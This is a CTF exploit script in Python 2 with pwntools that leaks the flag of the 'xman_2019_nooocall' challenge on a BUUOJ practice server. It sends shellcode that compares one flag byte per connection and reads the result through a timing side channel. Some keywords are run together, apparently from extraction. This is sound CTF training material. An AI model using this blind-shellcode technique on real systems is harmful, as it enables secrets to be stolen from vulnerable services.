#flag里面可能出现的字符 possible_char = [] #字符的顺序可以影响效率,让频率最高的字符放前面 for x inrange(0,10): possible_char.append(str(x)) for x inrange(ord('a'),ord('z')+1): possible_char.append(chr(x)) possible_char.append('{') possible_char.append('-') possible_char.append('}') possible_char.append('\x00')
OK = False flag = '' index = 0
whilenot OK: print'guess (',index,') char' length = len(flag) for guess_char in possible_char: #sh = process('./xman_2019_nooocall') sh = remote('node3.buuoj.cn',28942) #盲注,如果猜对了,程序会处于一个死循环 shellcode_blind = asm('''mov rax,[rsp+0x10] mov rax,[rax+0x18] mov al,byte ptr[rax+%d] cmp al,%d jz $-0x2 ''' % (index,ord(guess_char))) sh.sendlineafter('Your Shellcode >>',shellcode_blind) start = time.time() sh.can_recv_raw(timeout = 3) end = time.time() sh.close() #根据网络延迟,作相应的修改 if end - start > 3: if guess_char == '\x00': OK = True flag += guess_char print'success guess char at(',index,')' index+=1 break print'flag=',flag if length == len(flag): OK = True print'ojbk!'